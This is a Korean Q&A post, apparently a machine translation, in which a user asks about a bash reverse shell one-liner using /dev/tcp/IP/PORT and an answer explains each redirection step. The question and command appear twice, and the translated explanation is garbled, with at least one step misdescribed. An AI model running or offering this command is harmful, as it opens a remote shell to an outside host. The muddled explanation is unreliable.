0
나는 그 bash 명령어를 이해하려고 노력해왔다. 누군가 그것을 설명 할 수 있습니까?파이썬이있는 리눅스 bash 리버스 쉘
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196
나는 그 bash 명령어를 이해하려고 노력해왔다. 누군가 그것을 설명 할 수 있습니까?파이썬이있는 리눅스 bash 리버스 쉘
0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196
이됩니다
1) 0<&196
가 : 파일 기술자 '196'을 닫습니다 () 다음의 명령에 의해 사용된다.
2) exec 196<>/dev/tcp/IP/PORT
: IP 및 포트가 유효한 경우 설명자 '196'을 사용하여 새 파일 (/ dev/tcp/IP/PORT)을 만듭니다. bash는 TCP 연결을 열려고 시도합니다.
3) sh <&196 >&196 2>&196
가 : "쉬"에 이전 명령에 지정된 IP/PORT에서 트래픽을 리디렉션, 같은 파이프에 STDOUT 및 STDERR, 역 쉘은 지정된 IP로 만든이 방법을 지시하고 명령은 STDOUT 및 STDERR이 지시 된 명령에서 실행할 수 있습니다.
Bash 참조 설명서의 Redirections 섹션을 참조하십시오.